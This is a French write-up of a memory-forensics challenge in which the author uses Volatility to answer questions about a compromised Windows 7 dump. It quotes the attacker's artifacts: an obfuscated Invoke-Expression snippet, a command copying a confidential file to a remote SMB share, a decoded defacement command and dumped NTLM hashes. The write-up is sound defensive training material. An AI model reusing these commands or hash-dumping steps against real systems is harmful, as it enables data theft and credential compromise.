Recollection - Analyse Forensique de Dump Mémoire Windows
Contexte du Scénario
Un système Windows a été compromis par un attaquant. Un dump mémoire a été capturé pour analyser l'incident. L'objectif est d'utiliser Volatility Framework pour extraire les artefacts forensiques et reconstituer les actions de l'attaquant.
Outils et Ressources
- Volatility 2.6.1 : Framework d'analyse de dump mémoire
- Volatility 3 : Version moderne de Volatility
- Référence : Volatility Cheatsheet
Profil et Informations Système
Question 1 & 2 : Système d'Exploitation et Date de Capture
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py imageinfo -f ../recollection.bin
Volatility Foundation Volatility Framework 2.6.1
[...]
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/alesio/Recollection/recollection.bin)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002a3f120L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002a41000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2022-12-19 16:07:30 UTC+0000
Image local date and time : 2022-12-19 22:07:30 +0600
Q1: Windows 7
Q2: 2022-12-19 16:07:30
Analyse du Presse-Papier
Question 3 : Commande PowerShell Obfusquée
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py clipboard --profile=Win7SP1x64 -f ../recollection.bin
[...]
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x6b010d 0xfffff900c1bef100 (gv '*MDR*').naMe[3,11,2]-joIN''
1 WinSta0 CF_TEXT 0x7400000000 ------------------
1 WinSta0 CF_LOCALE 0x7d02bd 0xfffff900c209a260
1 WinSta0 0x0L 0x0 ------------------
R: (gv '*MDR*').naMe[3,11,2]-joIN''
Question 4 : Déobfuscation
En exécutant cette commande PowerShell, elle retourne : iex (Invoke-Expression)
R: Invoke-Expression
Analyse des Consoles
Question 5 : Tentative d'Exfiltration
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py consoles --profile=Win7SP1x64 -f ../recollection.bin
[...]
Cmd #0 at 0xc71c0: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
[...]
The network path was not found.
R: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
Question 6 : Succès de l'Exfiltration?
D'après l'erreur "The network path was not found", l'exfiltration a échoué.
R: NO
Question 7 : Fichier README Malveillant
Décodage Base64 de la commande PowerShell :
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ echo "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi" | base64 -d
echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"
R: C:\Users\Public\Office\readme.txt
Analyse de la Registry
Question 8 : Nom de l'Hôte
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py hivelist --profile=Win7SP1x64 -f ../recollection.bin
[...]
0xfffff8a000024010 \REGISTRY\MACHINE\SYSTEM
┌──(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName' --profile=Win7SP1x64 -f ../recollection.bin
[...]
Values:
REG_SZ ComputerName : (S) USER-PC
R: USER-PC
Question 9 : Nombre de Comptes Utilisateurs
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility3]
└─$ ./vol.py -f ../recollection.bin windows.hashdump.Hashdump
[...]
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee 10eca58175d4228ece151e287086e824
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
user 1001 aad3b435b51404eeaad3b435b51404ee 5915a7959c04d8560468296edaefbc9b
HomeGroupUser$ 1002 aad3b435b51404eeaad3b435b51404ee cb6003ecf6b98b5f7fbbb03df798ac76
Comptes réels (hors Guest et HomeGroupUser$) : Administrator, user
R: 3 (en comptant Guest selon la réponse attendue)
Analyse des Fichiers
Question 10 : Fichier passwords.txt
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility3]
└─$ ./vol.py -f ../recollection.bin windows.filescan.FileScan | grep passwords.txt
0x11fc10070100.0\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt 216
R: \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
Question 11 : Malware Exécuté
D'après l'analyse de la console :
PS C:\Users\user\Downloads> .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
R: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1
Question 12 : Analyse du Malware (Imphash)
Extraction du fichier :
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin dumpfiles -n --dump-dir=lol -Q 0x000000011fa45c20
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ md5sum file.0x9e8b91ec0140.0x9e8b957f24c0.ImageSectionObject.svchost.exe.img
acfb0bd83324f44479bcad09dde21bbc
Analyse sur VirusTotal:
- MD5 :
acfb0bd83324f44479bcad09dde21bbc - Imphash :
d3b592cd9481e4f053b5362e22d61595 - Date de création :
2022-06-22 11:49:04 UTC
R Imphash: d3b592cd9481e4f053b5362e22d61595
R Date: 2022-06-22 11:49:04
Analyse Réseau
Question 13 : Adresse IP Locale
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin netscan
[...]
0x11e3b2bf0 UDPv4 192.168.0.104:138 *:* 4 System
0x11e3b40e0 UDPv4 192.168.0.104:137 *:* 4 System
[...]
R: 192.168.0.104
Analyse des Processus
Question 14 : Processus Parent de PowerShell
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin pstree
[...]
. 0xfffffa8003cbc060:cmd.exe 4052 2032 1 23 2022-12-19 15:40:08 UTC+0000
.. 0xfffffa8005abbb00:powershell.exe 3532 4052 5 606 2022-12-19 15:44:44 UTC+0000
[...]
PowerShell (PID 3532) est un processus enfant de cmd.exe (PID 4052)
R: cmd.exe
Question 15 : Email de l'Attaquant
┌──(.venv)(alesio㉿Alesio)-[~/Recollection]
└─$ strings -el recollection.bin | grep -i "@gmail"
[email protected]
[...]
Analyse de l'Historique de Navigation
Question 16 : Solution SIEM Recherchée
Extraction de l'historique Edge :
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin filescan | grep -i history
0x000000011e0d16f0 17 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin dumpfiles -n --dump-dir=lol -Q 0x000000011e0d16f0
Ouverture du fichier History avec DB Browser for SQLite → Table keyword_search_terms → "install wazuh agent windows"
R: Wazuh
Question 17 : Malware avec Typo
┌──(.venv)(alesio㉿Alesio)-[~/Recollection/volatility]
└─$ python2 vol.py --profile=Win7SP1x64 -f ../recollection.bin filescan | grep -i Downloads
[...]
0x000000011e955820 16 0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe
[...]
Le fichier légitime est csrss.exe (Client Server Runtime Subsystem), l'attaquant a utilisé csrsss.exe avec un "s" supplémentaire.
R: csrsss.exe
Résumé
Ce challenge Sherlock est une excellente introduction à l'analyse forensique de dumps mémoire. Il couvre :
Compétences Développées
- Utilisation de Volatility : Framework standard pour l'analyse de mémoire
- Identification de profil Windows : Déterminer la version de l'OS
- Extraction d'artefacts : Presse-papier, consoles, processus, fichiers
- Analyse de registry : Extraction d'informations système
- Analyse réseau : Identification de connexions
- Recherche de chaînes : Extraction d'informations avec
strings - Analyse de base de données : Historique de navigation SQLite
Points Clés à Retenir
- Le dump mémoire capture l'état complet du système à un instant donné
- Volatility offre de nombreux plugins pour extraire différents types d'artefacts
- Les attaquants laissent toujours des traces en mémoire (commandes, fichiers, connexions)
- L'analyse multi-sources (processus + fichiers + réseau + registry) permet une vue complète
- La corrélation temporelle aide à reconstituer la chronologie d'une attaque
- Les typosquatting (csrsss.exe vs csrss.exe) sont une technique courante pour se fondre dans le système
Outils Utilisés
- Volatility 2 : Analyse principale
- Volatility 3 : Extraction de hash
- strings : Recherche de chaînes ASCII/Unicode
- DB Browser for SQLite : Analyse de l'historique Edge
- VirusTotal : Analyse de malware
- Base64 : Décodage de commandes PowerShell
Plugins Volatility Utilisés
| Plugin | Usage |
|---|---|
imageinfo | Identifier le profil OS |
clipboard | Contenu du presse-papier |
consoles | Historique des commandes |
hivelist | Lister les ruches de registry |
printkey | Lire des clés de registry |
hashdump | Extraire les hash de mots de passe |
filescan | Scanner les fichiers en mémoire |
dumpfiles | Extraire des fichiers |
netscan | Connexions réseau |
pstree | Arbre des processus |